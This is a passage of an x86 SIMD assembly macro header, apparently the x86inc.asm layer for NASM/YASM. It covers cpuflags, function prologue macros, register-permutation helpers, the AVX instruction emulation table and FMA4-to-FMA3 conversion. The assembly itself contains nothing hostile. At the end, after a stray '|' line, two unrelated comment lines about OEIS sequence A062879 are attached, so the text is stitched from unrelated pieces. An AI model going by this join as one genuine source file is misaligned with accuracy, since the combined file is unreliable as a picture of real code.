AUTO_REP_RET
%endmacro
%endif ;======================================================================
%if WIN64 == 0
%macro WIN64_SPILL_XMM 1
%endmacro
%macro WIN64_RESTORE_XMM 1
%endmacro
%macro WIN64_PUSH_XMM 0
%endmacro
%endif
; On AMD cpus <=K10, an ordinary ret is slow if it immediately follows either
; a branch or a branch target. So switch to a 2-byte form of ret in that case.
; We can automatically detect "follows a branch", but not a branch target.
; (SSSE3 is a sufficient condition to know that your cpu doesn't have this problem.)
%macro REP_RET 0
%if has_epilogue
RET
%else
rep ret
%endif
%endmacro
%define last_branch_adr $$
%macro AUTO_REP_RET 0
%ifndef cpuflags
times ((last_branch_adr-$)>>31)+1 rep ; times 1 iff $ != last_branch_adr.
%elif notcpuflag(ssse3)
times ((last_branch_adr-$)>>31)+1 rep
%endif
ret
%endmacro
%macro BRANCH_INSTR 0-*
%rep %0
%macro %1 1-2 %1
%2 %1
%%branch_instr:
%xdefine last_branch_adr %%branch_instr
%endmacro
%rotate 1
%endrep
%endmacro
BRANCH_INSTR jz, je, jnz, jne, jl, jle, jnl, jnle, jg, jge, jng, jnge, ja, jae, jna, jnae, jb, jbe, jnb, jnbe, jc, jnc, js, jns, jo, jno, jp, jnp
%macro TAIL_CALL 2 ; callee, is_nonadjacent
%if has_epilogue
call %1
RET
%elif %2
jmp %1
%endif
%endmacro
;=============================================================================
; arch-independent part
;=============================================================================
%assign function_align 16
; Begin a function.
; Applies any symbol mangling needed for C linkage, and sets up a define such that
; subsequent uses of the function name automatically refer to the mangled version.
; Appends cpuflags to the function name if cpuflags has been specified.
; The "" empty default parameter is a workaround for nasm, which fails if SUFFIX
; is empty and we call cglobal_internal with just %1 %+ SUFFIX (without %2).
%macro cglobal 1-2+ "" ; name, [PROLOGUE args]
cglobal_internal 1, %1 %+ SUFFIX, %2
%endmacro
%macro cvisible 1-2+ "" ; name, [PROLOGUE args]
cglobal_internal 0, %1 %+ SUFFIX, %2
%endmacro
%macro cglobal_internal 2-3+
%if %1
%xdefine %%FUNCTION_PREFIX private_prefix
%xdefine %%VISIBILITY hidden
%else
%xdefine %%FUNCTION_PREFIX public_prefix
%xdefine %%VISIBILITY
%endif
%ifndef cglobaled_%2
%xdefine %2 mangle(%%FUNCTION_PREFIX %+ _ %+ %2)
%xdefine %2.skip_prologue %2 %+ .skip_prologue
CAT_XDEFINE cglobaled_, %2, 1
%endif
%xdefine current_function %2
%if FORMAT_ELF
global %2:function %%VISIBILITY
%else
global %2
%endif
align function_align
%2:
RESET_MM_PERMUTATION ; needed for x86-64, also makes disassembly somewhat nicer
%xdefine rstk rsp ; copy of the original stack pointer, used when greater alignment than the known stack alignment is required
%assign stack_offset 0 ; stack pointer offset relative to the return address
%assign stack_size 0 ; amount of stack space that can be freely used inside a function
%assign stack_size_padded 0 ; total amount of allocated stack space, including space for callee-saved xmm registers on WIN64 and alignment padding
%assign xmm_regs_used 0 ; number of XMM registers requested, used for dealing with callee-saved registers on WIN64
%ifnidn %3, ""
PROLOGUE %3
%endif
%endmacro
%macro cextern 1
%xdefine %1 mangle(private_prefix %+ _ %+ %1)
CAT_XDEFINE cglobaled_, %1, 1
extern %1
%endmacro
; like cextern, but without the prefix
%macro cextern_naked 1
%ifdef PREFIX
%xdefine %1 mangle(%1)
%endif
CAT_XDEFINE cglobaled_, %1, 1
extern %1
%endmacro
%macro const 1-2+
%xdefine %1 mangle(private_prefix %+ _ %+ %1)
%if FORMAT_ELF
global %1:data hidden
%else
global %1
%endif
%1: %2
%endmacro
; This is needed for ELF, otherwise the GNU linker assumes the stack is executable by default.
%if FORMAT_ELF
[SECTION .note.GNU-stack noalloc noexec nowrite progbits]
%endif
; cpuflags
%assign cpuflags_mmx (1<<0)
%assign cpuflags_mmx2 (1<<1) | cpuflags_mmx
%assign cpuflags_3dnow (1<<2) | cpuflags_mmx
%assign cpuflags_3dnowext (1<<3) | cpuflags_3dnow
%assign cpuflags_sse (1<<4) | cpuflags_mmx2
%assign cpuflags_sse2 (1<<5) | cpuflags_sse
%assign cpuflags_sse2slow (1<<6) | cpuflags_sse2
%assign cpuflags_sse3 (1<<7) | cpuflags_sse2
%assign cpuflags_ssse3 (1<<8) | cpuflags_sse3
%assign cpuflags_sse4 (1<<9) | cpuflags_ssse3
%assign cpuflags_sse42 (1<<10)| cpuflags_sse4
%assign cpuflags_avx (1<<11)| cpuflags_sse42
%assign cpuflags_xop (1<<12)| cpuflags_avx
%assign cpuflags_fma4 (1<<13)| cpuflags_avx
%assign cpuflags_fma3 (1<<14)| cpuflags_avx
%assign cpuflags_avx2 (1<<15)| cpuflags_fma3
%assign cpuflags_cache32 (1<<16)
%assign cpuflags_cache64 (1<<17)
%assign cpuflags_slowctz (1<<18)
%assign cpuflags_lzcnt (1<<19)
%assign cpuflags_aligned (1<<20) ; not a cpu feature, but a function variant
%assign cpuflags_atom (1<<21)
%assign cpuflags_bmi1 (1<<22)|cpuflags_lzcnt
%assign cpuflags_bmi2 (1<<23)|cpuflags_bmi1
%define cpuflag(x) ((cpuflags & (cpuflags_ %+ x)) == (cpuflags_ %+ x))
%define notcpuflag(x) ((cpuflags & (cpuflags_ %+ x)) != (cpuflags_ %+ x))
; Takes an arbitrary number of cpuflags from the above list.
; All subsequent functions (up to the next INIT_CPUFLAGS) is built for the specified cpu.
; You shouldn't need to invoke this macro directly, it's a subroutine for INIT_MMX &co.
%macro INIT_CPUFLAGS 0-*
%xdefine SUFFIX
%undef cpuname
%assign cpuflags 0
%if %0 >= 1
%rep %0
%ifdef cpuname
%xdefine cpuname cpuname %+ _%1
%else
%xdefine cpuname %1
%endif
%assign cpuflags cpuflags | cpuflags_%1
%rotate 1
%endrep
%xdefine SUFFIX _ %+ cpuname
%if cpuflag(avx)
%assign avx_enabled 1
%endif
%if (mmsize == 16 && notcpuflag(sse2)) || (mmsize == 32 && notcpuflag(avx2))
%define mova movaps
%define movu movups
%define movnta movntps
%endif
%if cpuflag(aligned)
%define movu mova
%elif cpuflag(sse3) && notcpuflag(ssse3)
%define movu lddqu
%endif
%endif
%if ARCH_X86_64 || cpuflag(sse2)
%ifdef __NASM_VER__
ALIGNMODE k8
%else
CPU amdnop
%endif
%else
%ifdef __NASM_VER__
ALIGNMODE nop
%else
CPU basicnop
%endif
%endif
%endmacro
; Merge mmx and sse*
; m# is a simd register of the currently selected size
; xm# is the corresponding xmm register if mmsize >= 16, otherwise the same as m#
; ym# is the corresponding ymm register if mmsize >= 32, otherwise the same as m#
; (All 3 remain in sync through SWAP.)
%macro CAT_XDEFINE 3
%xdefine %1%2 %3
%endmacro
%macro CAT_UNDEF 2
%undef %1%2
%endmacro
%macro INIT_MMX 0-1+
%assign avx_enabled 0
%define RESET_MM_PERMUTATION INIT_MMX %1
%define mmsize 8
%define num_mmregs 8
%define mova movq
%define movu movq
%define movh movd
%define movnta movntq
%assign %%i 0
%rep 8
CAT_XDEFINE m, %%i, mm %+ %%i
CAT_XDEFINE nnmm, %%i, %%i
%assign %%i %%i+1
%endrep
%rep 8
CAT_UNDEF m, %%i
CAT_UNDEF nnmm, %%i
%assign %%i %%i+1
%endrep
INIT_CPUFLAGS %1
%endmacro
%macro INIT_XMM 0-1+
%assign avx_enabled 0
%define RESET_MM_PERMUTATION INIT_XMM %1
%define mmsize 16
%define num_mmregs 8
%if ARCH_X86_64
%define num_mmregs 16
%endif
%define mova movdqa
%define movu movdqu
%define movh movq
%define movnta movntdq
%assign %%i 0
%rep num_mmregs
CAT_XDEFINE m, %%i, xmm %+ %%i
CAT_XDEFINE nnxmm, %%i, %%i
%assign %%i %%i+1
%endrep
INIT_CPUFLAGS %1
%endmacro
%macro INIT_YMM 0-1+
%assign avx_enabled 1
%define RESET_MM_PERMUTATION INIT_YMM %1
%define mmsize 32
%define num_mmregs 8
%if ARCH_X86_64
%define num_mmregs 16
%endif
%define mova movdqa
%define movu movdqu
%undef movh
%define movnta movntdq
%assign %%i 0
%rep num_mmregs
CAT_XDEFINE m, %%i, ymm %+ %%i
CAT_XDEFINE nnymm, %%i, %%i
%assign %%i %%i+1
%endrep
INIT_CPUFLAGS %1
%endmacro
INIT_XMM
%macro DECLARE_MMCAST 1
%define mmmm%1 mm%1
%define mmxmm%1 mm%1
%define mmymm%1 mm%1
%define xmmmm%1 mm%1
%define xmmxmm%1 xmm%1
%define xmmymm%1 xmm%1
%define ymmmm%1 mm%1
%define ymmxmm%1 xmm%1
%define ymmymm%1 ymm%1
%define xm%1 xmm %+ m%1
%define ym%1 ymm %+ m%1
%endmacro
%assign i 0
%rep 16
DECLARE_MMCAST i
%assign i i+1
%endrep
; I often want to use macros that permute their arguments. e.g. there's no
; efficient way to implement butterfly or transpose or dct without swapping some
; arguments.
;
; I would like to not have to manually keep track of the permutations:
; If I insert a permutation in the middle of a function, it should automatically
; change everything that follows. For more complex macros I may also have multiple
; implementations, e.g. the SSE2 and SSSE3 versions may have different permutations.
;
; Hence these macros. Insert a PERMUTE or some SWAPs at the end of a macro that
; permutes its arguments. It's equivalent to exchanging the contents of the
; registers, except that this way you exchange the register names instead, so it
; doesn't cost any cycles.
%macro PERMUTE 2-* ; takes a list of pairs to swap
%rep %0/2
%xdefine %%tmp%2 m%2
%rotate 2
%endrep
%rep %0/2
%xdefine m%1 %%tmp%2
CAT_XDEFINE nn, m%1, %1
%rotate 2
%endrep
%endmacro
%macro SWAP 2+ ; swaps a single chain (sometimes more concise than pairs)
%ifnum %1 ; SWAP 0, 1, ...
SWAP_INTERNAL_NUM %1, %2
%else ; SWAP m0, m1, ...
SWAP_INTERNAL_NAME %1, %2
%endif
%endmacro
%macro SWAP_INTERNAL_NUM 2-*
%rep %0-1
%xdefine %%tmp m%1
%xdefine m%1 m%2
%xdefine m%2 %%tmp
CAT_XDEFINE nn, m%1, %1
CAT_XDEFINE nn, m%2, %2
%rotate 1
%endrep
%endmacro
%macro SWAP_INTERNAL_NAME 2-*
%xdefine %%args nn %+ %1
%rep %0-1
%xdefine %%args %%args, nn %+ %2
%rotate 1
%endrep
SWAP_INTERNAL_NUM %%args
%endmacro
; If SAVE_MM_PERMUTATION is placed at the end of a function, then any later
; calls to that function will automatically load the permutation, so values can
; be returned in mmregs.
%macro SAVE_MM_PERMUTATION 0-1
%if %0
%xdefine %%f %1_m
%else
%xdefine %%f current_function %+ _m
%endif
%assign %%i 0
%rep num_mmregs
CAT_XDEFINE %%f, %%i, m %+ %%i
%assign %%i %%i+1
%endrep
%endmacro
%macro LOAD_MM_PERMUTATION 1 ; name to load from
%ifdef %1_m0
%assign %%i 0
%rep num_mmregs
CAT_XDEFINE m, %%i, %1_m %+ %%i
CAT_XDEFINE nn, m %+ %%i, %%i
%assign %%i %%i+1
%endrep
%endif
%endmacro
; Append cpuflags to the callee's name iff the appended name is known and the plain name isn't
%macro call 1
call_internal %1, %1 %+ SUFFIX
%endmacro
%macro call_internal 2
%xdefine %%i %1
%ifndef cglobaled_%1
%ifdef cglobaled_%2
%xdefine %%i %2
%endif
%endif
call %%i
LOAD_MM_PERMUTATION %%i
%endmacro
; Substitutions that reduce instruction size but are functionally equivalent
%macro add 2
%ifnum %2
%if %2==128
sub %1, -128
%else
add %1, %2
%endif
%else
add %1, %2
%endif
%endmacro
%macro sub 2
%ifnum %2
%if %2==128
add %1, -128
%else
sub %1, %2
%endif
%else
sub %1, %2
%endif
%endmacro
;=============================================================================
; AVX abstraction layer
;=============================================================================
%assign i 0
%rep 16
%if i < 8
CAT_XDEFINE sizeofmm, i, 8
%endif
CAT_XDEFINE sizeofxmm, i, 16
CAT_XDEFINE sizeofymm, i, 32
%assign i i+1
%endrep
%undef i
%macro CHECK_AVX_INSTR_EMU 3-*
%xdefine %%opcode %1
%xdefine %%dst %2
%rep %0-2
%ifidn %%dst, %3
%error non-avx emulation of ``%%opcode'' is not supported
%endif
%rotate 1
%endrep
%endmacro
;%1 == instruction
;%2 == minimal instruction set
;%3 == 1 if float, 0 if int
;%4 == 1 if non-destructive or 4-operand (xmm, xmm, xmm, imm), 0 otherwise
;%5 == 1 if commutative (i.e. doesn't matter which src arg is which), 0 if not
;%6+: operands
%macro RUN_AVX_INSTR 6-9+
%ifnum sizeof%7
%assign __sizeofreg sizeof%7
%elifnum sizeof%6
%assign __sizeofreg sizeof%6
%else
%assign __sizeofreg mmsize
%endif
%assign __emulate_avx 0
%if avx_enabled && __sizeofreg >= 16
%xdefine __instr v%1
%else
%xdefine __instr %1
%if %0 >= 8+%4
%assign __emulate_avx 1
%endif
%endif
%ifnidn %2, fnord
%ifdef cpuname
%if notcpuflag(%2)
%error use of ``%1'' %2 instruction in cpuname function: current_function
%elif cpuflags_%2 < cpuflags_sse && notcpuflag(sse2) && __sizeofreg > 8
%error use of ``%1'' sse2 instruction in cpuname function: current_function
%endif
%endif
%endif
%if __emulate_avx
%xdefine __src1 %7
%xdefine __src2 %8
%ifnidn %6, %7
%if %0 >= 9
CHECK_AVX_INSTR_EMU {%1 %6, %7, %8, %9}, %6, %8, %9
%else
CHECK_AVX_INSTR_EMU {%1 %6, %7, %8}, %6, %8
%endif
%if %5 && %4 == 0
%ifnid %8
; 3-operand AVX instructions with a memory arg can only have it in src2,
; whereas SSE emulation prefers to have it in src1 (i.e. the mov).
; So, if the instruction is commutative with a memory arg, swap them.
%xdefine __src1 %8
%xdefine __src2 %7
%endif
%endif
%if __sizeofreg == 8
MOVQ %6, __src1
%elif %3
MOVAPS %6, __src1
%else
MOVDQA %6, __src1
%endif
%endif
%if %0 >= 9
%1 %6, __src2, %9
%else
%1 %6, __src2
%endif
%elif %0 >= 9
__instr %6, %7, %8, %9
%elif %0 == 8
__instr %6, %7, %8
%elif %0 == 7
__instr %6, %7
%else
__instr %6
%endif
%endmacro
;%1 == instruction
;%2 == minimal instruction set
;%3 == 1 if float, 0 if int
;%4 == 1 if non-destructive or 4-operand (xmm, xmm, xmm, imm), 0 otherwise
;%5 == 1 if commutative (i.e. doesn't matter which src arg is which), 0 if not
%macro AVX_INSTR 1-5 fnord, 0, 1, 0
%macro %1 1-10 fnord, fnord, fnord, fnord, %1, %2, %3, %4, %5
%ifidn %2, fnord
RUN_AVX_INSTR %6, %7, %8, %9, %10, %1
%elifidn %3, fnord
RUN_AVX_INSTR %6, %7, %8, %9, %10, %1, %2
%elifidn %4, fnord
RUN_AVX_INSTR %6, %7, %8, %9, %10, %1, %2, %3
%elifidn %5, fnord
RUN_AVX_INSTR %6, %7, %8, %9, %10, %1, %2, %3, %4
%else
RUN_AVX_INSTR %6, %7, %8, %9, %10, %1, %2, %3, %4, %5
%endif
%endmacro
%endmacro
; Instructions with both VEX and non-VEX encodings
; Non-destructive instructions are written without parameters
AVX_INSTR addpd, sse2, 1, 0, 1
AVX_INSTR addps, sse, 1, 0, 1
AVX_INSTR addsd, sse2, 1, 0, 1
AVX_INSTR addss, sse, 1, 0, 1
AVX_INSTR addsubpd, sse3, 1, 0, 0
AVX_INSTR addsubps, sse3, 1, 0, 0
AVX_INSTR aesdec, fnord, 0, 0, 0
AVX_INSTR aesdeclast, fnord, 0, 0, 0
AVX_INSTR aesenc, fnord, 0, 0, 0
AVX_INSTR aesenclast, fnord, 0, 0, 0
AVX_INSTR aesimc
AVX_INSTR aeskeygenassist
AVX_INSTR andnpd, sse2, 1, 0, 0
AVX_INSTR andnps, sse, 1, 0, 0
AVX_INSTR andpd, sse2, 1, 0, 1
AVX_INSTR andps, sse, 1, 0, 1
AVX_INSTR blendpd, sse4, 1, 0, 0
AVX_INSTR blendps, sse4, 1, 0, 0
AVX_INSTR blendvpd, sse4, 1, 0, 0
AVX_INSTR blendvps, sse4, 1, 0, 0
AVX_INSTR cmppd, sse2, 1, 1, 0
AVX_INSTR cmpps, sse, 1, 1, 0
AVX_INSTR cmpsd, sse2, 1, 1, 0
AVX_INSTR cmpss, sse, 1, 1, 0
AVX_INSTR comisd, sse2
AVX_INSTR comiss, sse
AVX_INSTR cvtdq2pd, sse2
AVX_INSTR cvtdq2ps, sse2
AVX_INSTR cvtpd2dq, sse2
AVX_INSTR cvtpd2ps, sse2
AVX_INSTR cvtps2dq, sse2
AVX_INSTR cvtps2pd, sse2
AVX_INSTR cvtsd2si, sse2
AVX_INSTR cvtsd2ss, sse2
AVX_INSTR cvtsi2sd, sse2
AVX_INSTR cvtsi2ss, sse
AVX_INSTR cvtss2sd, sse2
AVX_INSTR cvtss2si, sse
AVX_INSTR cvttpd2dq, sse2
AVX_INSTR cvttps2dq, sse2
AVX_INSTR cvttsd2si, sse2
AVX_INSTR cvttss2si, sse
AVX_INSTR divpd, sse2, 1, 0, 0
AVX_INSTR divps, sse, 1, 0, 0
AVX_INSTR divsd, sse2, 1, 0, 0
AVX_INSTR divss, sse, 1, 0, 0
AVX_INSTR dppd, sse4, 1, 1, 0
AVX_INSTR dpps, sse4, 1, 1, 0
AVX_INSTR extractps, sse4
AVX_INSTR haddpd, sse3, 1, 0, 0
AVX_INSTR haddps, sse3, 1, 0, 0
AVX_INSTR hsubpd, sse3, 1, 0, 0
AVX_INSTR hsubps, sse3, 1, 0, 0
AVX_INSTR insertps, sse4, 1, 1, 0
AVX_INSTR lddqu, sse3
AVX_INSTR ldmxcsr, sse
AVX_INSTR maskmovdqu, sse2
AVX_INSTR maxpd, sse2, 1, 0, 1
AVX_INSTR maxps, sse, 1, 0, 1
AVX_INSTR maxsd, sse2, 1, 0, 1
AVX_INSTR maxss, sse, 1, 0, 1
AVX_INSTR minpd, sse2, 1, 0, 1
AVX_INSTR minps, sse, 1, 0, 1
AVX_INSTR minsd, sse2, 1, 0, 1
AVX_INSTR minss, sse, 1, 0, 1
AVX_INSTR movapd, sse2
AVX_INSTR movaps, sse
AVX_INSTR movd, mmx
AVX_INSTR movddup, sse3
AVX_INSTR movdqa, sse2
AVX_INSTR movdqu, sse2
AVX_INSTR movhlps, sse, 1, 0, 0
AVX_INSTR movhpd, sse2, 1, 0, 0
AVX_INSTR movhps, sse, 1, 0, 0
AVX_INSTR movlhps, sse, 1, 0, 0
AVX_INSTR movlpd, sse2, 1, 0, 0
AVX_INSTR movlps, sse, 1, 0, 0
AVX_INSTR movmskpd, sse2
AVX_INSTR movmskps, sse
AVX_INSTR movntdq, sse2
AVX_INSTR movntdqa, sse4
AVX_INSTR movntpd, sse2
AVX_INSTR movntps, sse
AVX_INSTR movq, mmx
AVX_INSTR movsd, sse2, 1, 0, 0
AVX_INSTR movshdup, sse3
AVX_INSTR movsldup, sse3
AVX_INSTR movss, sse, 1, 0, 0
AVX_INSTR movupd, sse2
AVX_INSTR movups, sse
AVX_INSTR mpsadbw, sse4
AVX_INSTR mulpd, sse2, 1, 0, 1
AVX_INSTR mulps, sse, 1, 0, 1
AVX_INSTR mulsd, sse2, 1, 0, 1
AVX_INSTR mulss, sse, 1, 0, 1
AVX_INSTR orpd, sse2, 1, 0, 1
AVX_INSTR orps, sse, 1, 0, 1
AVX_INSTR pabsb, ssse3
AVX_INSTR pabsd, ssse3
AVX_INSTR pabsw, ssse3
AVX_INSTR packsswb, mmx, 0, 0, 0
AVX_INSTR packssdw, mmx, 0, 0, 0
AVX_INSTR packuswb, mmx, 0, 0, 0
AVX_INSTR packusdw, sse4, 0, 0, 0
AVX_INSTR paddb, mmx, 0, 0, 1
AVX_INSTR paddw, mmx, 0, 0, 1
AVX_INSTR paddd, mmx, 0, 0, 1
AVX_INSTR paddq, sse2, 0, 0, 1
AVX_INSTR paddsb, mmx, 0, 0, 1
AVX_INSTR paddsw, mmx, 0, 0, 1
AVX_INSTR paddusb, mmx, 0, 0, 1
AVX_INSTR paddusw, mmx, 0, 0, 1
AVX_INSTR palignr, ssse3
AVX_INSTR pand, mmx, 0, 0, 1
AVX_INSTR pandn, mmx, 0, 0, 0
AVX_INSTR pavgb, mmx2, 0, 0, 1
AVX_INSTR pavgw, mmx2, 0, 0, 1
AVX_INSTR pblendvb, sse4, 0, 0, 0
AVX_INSTR pblendw, sse4
AVX_INSTR pclmulqdq
AVX_INSTR pcmpestri, sse42
AVX_INSTR pcmpestrm, sse42
AVX_INSTR pcmpistri, sse42
AVX_INSTR pcmpistrm, sse42
AVX_INSTR pcmpeqb, mmx, 0, 0, 1
AVX_INSTR pcmpeqw, mmx, 0, 0, 1
AVX_INSTR pcmpeqd, mmx, 0, 0, 1
AVX_INSTR pcmpeqq, sse4, 0, 0, 1
AVX_INSTR pcmpgtb, mmx, 0, 0, 0
AVX_INSTR pcmpgtw, mmx, 0, 0, 0
AVX_INSTR pcmpgtd, mmx, 0, 0, 0
AVX_INSTR pcmpgtq, sse42, 0, 0, 0
AVX_INSTR pextrb, sse4
AVX_INSTR pextrd, sse4
AVX_INSTR pextrq, sse4
AVX_INSTR pextrw, mmx2
AVX_INSTR phaddw, ssse3, 0, 0, 0
AVX_INSTR phaddd, ssse3, 0, 0, 0
AVX_INSTR phaddsw, ssse3, 0, 0, 0
AVX_INSTR phminposuw, sse4
AVX_INSTR phsubw, ssse3, 0, 0, 0
AVX_INSTR phsubd, ssse3, 0, 0, 0
AVX_INSTR phsubsw, ssse3, 0, 0, 0
AVX_INSTR pinsrb, sse4
AVX_INSTR pinsrd, sse4
AVX_INSTR pinsrq, sse4
AVX_INSTR pinsrw, mmx2
AVX_INSTR pmaddwd, mmx, 0, 0, 1
AVX_INSTR pmaddubsw, ssse3, 0, 0, 0
AVX_INSTR pmaxsb, sse4, 0, 0, 1
AVX_INSTR pmaxsw, mmx2, 0, 0, 1
AVX_INSTR pmaxsd, sse4, 0, 0, 1
AVX_INSTR pmaxub, mmx2, 0, 0, 1
AVX_INSTR pmaxuw, sse4, 0, 0, 1
AVX_INSTR pmaxud, sse4, 0, 0, 1
AVX_INSTR pminsb, sse4, 0, 0, 1
AVX_INSTR pminsw, mmx2, 0, 0, 1
AVX_INSTR pminsd, sse4, 0, 0, 1
AVX_INSTR pminub, mmx2, 0, 0, 1
AVX_INSTR pminuw, sse4, 0, 0, 1
AVX_INSTR pminud, sse4, 0, 0, 1
AVX_INSTR pmovmskb, mmx2
AVX_INSTR pmovsxbw, sse4
AVX_INSTR pmovsxbd, sse4
AVX_INSTR pmovsxbq, sse4
AVX_INSTR pmovsxwd, sse4
AVX_INSTR pmovsxwq, sse4
AVX_INSTR pmovsxdq, sse4
AVX_INSTR pmovzxbw, sse4
AVX_INSTR pmovzxbd, sse4
AVX_INSTR pmovzxbq, sse4
AVX_INSTR pmovzxwd, sse4
AVX_INSTR pmovzxwq, sse4
AVX_INSTR pmovzxdq, sse4
AVX_INSTR pmuldq, sse4, 0, 0, 1
AVX_INSTR pmulhrsw, ssse3, 0, 0, 1
AVX_INSTR pmulhuw, mmx2, 0, 0, 1
AVX_INSTR pmulhw, mmx, 0, 0, 1
AVX_INSTR pmullw, mmx, 0, 0, 1
AVX_INSTR pmulld, sse4, 0, 0, 1
AVX_INSTR pmuludq, sse2, 0, 0, 1
AVX_INSTR por, mmx, 0, 0, 1
AVX_INSTR psadbw, mmx2, 0, 0, 1
AVX_INSTR pshufb, ssse3, 0, 0, 0
AVX_INSTR pshufd, sse2
AVX_INSTR pshufhw, sse2
AVX_INSTR pshuflw, sse2
AVX_INSTR psignb, ssse3, 0, 0, 0
AVX_INSTR psignw, ssse3, 0, 0, 0
AVX_INSTR psignd, ssse3, 0, 0, 0
AVX_INSTR psllw, mmx, 0, 0, 0
AVX_INSTR pslld, mmx, 0, 0, 0
AVX_INSTR psllq, mmx, 0, 0, 0
AVX_INSTR pslldq, sse2, 0, 0, 0
AVX_INSTR psraw, mmx, 0, 0, 0
AVX_INSTR psrad, mmx, 0, 0, 0
AVX_INSTR psrlw, mmx, 0, 0, 0
AVX_INSTR psrld, mmx, 0, 0, 0
AVX_INSTR psrlq, mmx, 0, 0, 0
AVX_INSTR psrldq, sse2, 0, 0, 0
AVX_INSTR psubb, mmx, 0, 0, 0
AVX_INSTR psubw, mmx, 0, 0, 0
AVX_INSTR psubd, mmx, 0, 0, 0
AVX_INSTR psubq, sse2, 0, 0, 0
AVX_INSTR psubsb, mmx, 0, 0, 0
AVX_INSTR psubsw, mmx, 0, 0, 0
AVX_INSTR psubusb, mmx, 0, 0, 0
AVX_INSTR psubusw, mmx, 0, 0, 0
AVX_INSTR ptest, sse4
AVX_INSTR punpckhbw, mmx, 0, 0, 0
AVX_INSTR punpckhwd, mmx, 0, 0, 0
AVX_INSTR punpckhdq, mmx, 0, 0, 0
AVX_INSTR punpckhqdq, sse2, 0, 0, 0
AVX_INSTR punpcklbw, mmx, 0, 0, 0
AVX_INSTR punpcklwd, mmx, 0, 0, 0
AVX_INSTR punpckldq, mmx, 0, 0, 0
AVX_INSTR punpcklqdq, sse2, 0, 0, 0
AVX_INSTR pxor, mmx, 0, 0, 1
AVX_INSTR rcpps, sse, 1, 0, 0
AVX_INSTR rcpss, sse, 1, 0, 0
AVX_INSTR roundpd, sse4
AVX_INSTR roundps, sse4
AVX_INSTR roundsd, sse4
AVX_INSTR roundss, sse4
AVX_INSTR rsqrtps, sse, 1, 0, 0
AVX_INSTR rsqrtss, sse, 1, 0, 0
AVX_INSTR shufpd, sse2, 1, 1, 0
AVX_INSTR shufps, sse, 1, 1, 0
AVX_INSTR sqrtpd, sse2, 1, 0, 0
AVX_INSTR sqrtps, sse, 1, 0, 0
AVX_INSTR sqrtsd, sse2, 1, 0, 0
AVX_INSTR sqrtss, sse, 1, 0, 0
AVX_INSTR stmxcsr, sse
AVX_INSTR subpd, sse2, 1, 0, 0
AVX_INSTR subps, sse, 1, 0, 0
AVX_INSTR subsd, sse2, 1, 0, 0
AVX_INSTR subss, sse, 1, 0, 0
AVX_INSTR ucomisd, sse2
AVX_INSTR ucomiss, sse
AVX_INSTR unpckhpd, sse2, 1, 0, 0
AVX_INSTR unpckhps, sse, 1, 0, 0
AVX_INSTR unpcklpd, sse2, 1, 0, 0
AVX_INSTR unpcklps, sse, 1, 0, 0
AVX_INSTR xorpd, sse2, 1, 0, 1
AVX_INSTR xorps, sse, 1, 0, 1
; 3DNow instructions, for sharing code between AVX, SSE and 3DN
AVX_INSTR pfadd, 3dnow, 1, 0, 1
AVX_INSTR pfsub, 3dnow, 1, 0, 0
AVX_INSTR pfmul, 3dnow, 1, 0, 1
; base-4 constants for shuffles
%assign i 0
%rep 256
%assign j ((i>>6)&3)*1000 + ((i>>4)&3)*100 + ((i>>2)&3)*10 + (i&3)
%if j < 10
CAT_XDEFINE q000, j, i
%elif j < 100
CAT_XDEFINE q00, j, i
%elif j < 1000
CAT_XDEFINE q0, j, i
%else
CAT_XDEFINE q, j, i
%endif
%assign i i+1
%endrep
%undef i
%undef j
%macro FMA_INSTR 3
%macro %1 4-7 %1, %2, %3
%if cpuflag(xop)
v%5 %1, %2, %3, %4
%elifnidn %1, %4
%6 %1, %2, %3
%7 %1, %4
%else
%error non-xop emulation of ``%5 %1, %2, %3, %4'' is not supported
%endif
%endmacro
%endmacro
FMA_INSTR pmacsww, pmullw, paddw
FMA_INSTR pmacsdd, pmulld, paddd ; sse4 emulation
FMA_INSTR pmacsdql, pmuldq, paddq ; sse4 emulation
FMA_INSTR pmadcswd, pmaddwd, paddd
; convert FMA4 to FMA3 if possible
%macro FMA4_INSTR 4
%macro %1 4-8 %1, %2, %3, %4
%if cpuflag(fma4)
v%5 %1, %2, %3, %4
%elifidn %1, %2
v%6 %1, %4, %3 ; %1 = %1 * %3 + %4
%elifidn %1, %3
v%7 %1, %2, %4 ; %1 = %2 * %1 + %4
%elifidn %1, %4
v%8 %1, %2, %3 ; %1 = %2 * %3 + %1
%else
%error fma3 emulation of ``%5 %1, %2, %3, %4'' is not supported
%endif
%endmacro
%endmacro
FMA4_INSTR fmaddpd, fmadd132pd, fmadd213pd, fmadd231pd
FMA4_INSTR fmaddps, fmadd132ps, fmadd213ps, fmadd231ps
FMA4_INSTR fmaddsd, fmadd132sd, fmadd213sd, fmadd231sd
FMA4_INSTR fmaddss, fmadd132ss, fmadd213ss, fmadd231ss
FMA4_INSTR fmaddsubpd, fmaddsub132pd, fmaddsub213pd, fmaddsub231pd
FMA4_INSTR fmaddsubps, fmaddsub132ps, fmaddsub213ps, fmaddsub231ps
FMA4_INSTR fmsubaddpd, fmsubadd132pd, fmsubadd213pd, fmsubadd231pd
FMA4_INSTR fmsubaddps, fmsubadd132ps, fmsubadd213ps, fmsubadd231ps
FMA4_INSTR fmsubpd, fmsub132pd, fmsub213pd, fmsub231pd
FMA4_INSTR fmsubps, fmsub132ps, fmsub213ps, fmsub231ps
FMA4_INSTR fmsubsd, fmsub132sd, fmsub213sd, fmsub231sd
FMA4_INSTR fmsubss, fmsub132ss, fmsub213ss, fmsub231ss
FMA4_INSTR fnmaddpd, fnmadd132pd, fnmadd213pd, fnmadd231pd
FMA4_INSTR fnmaddps, fnmadd132ps, fnmadd213ps, fnmadd231ps
FMA4_INSTR fnmaddsd, fnmadd132sd, fnmadd213sd, fnmadd231sd
FMA4_INSTR fnmaddss, fnmadd132ss, fnmadd213ss, fnmadd231ss
FMA4_INSTR fnmsubpd, fnmsub132pd, fnmsub213pd, fnmsub231pd
FMA4_INSTR fnmsubps, fnmsub132ps, fnmsub213ps, fnmsub231ps
FMA4_INSTR fnmsubsd, fnmsub132sd, fnmsub213sd, fnmsub231sd
FMA4_INSTR fnmsubss, fnmsub132ss, fnmsub213ss, fnmsub231ss
; workaround: vpbroadcastq is broken in x86_32 due to a yasm bug (fixed in 1.3.0)
%ifdef __YASM_VER__
%if __YASM_VERSION_ID__ < 0x01030000 && ARCH_X86_64 == 0
%macro vpbroadcastq 2
%if sizeof%1 == 16
movddup %1, %2
%else
vbroadcastsd %1, %2
%endif
%endmacro
%endif
%endif
|
; A062879: Integers whose Zeckendorf expansion does not contain ones at even positions.
; Submitted by Jon Maiga
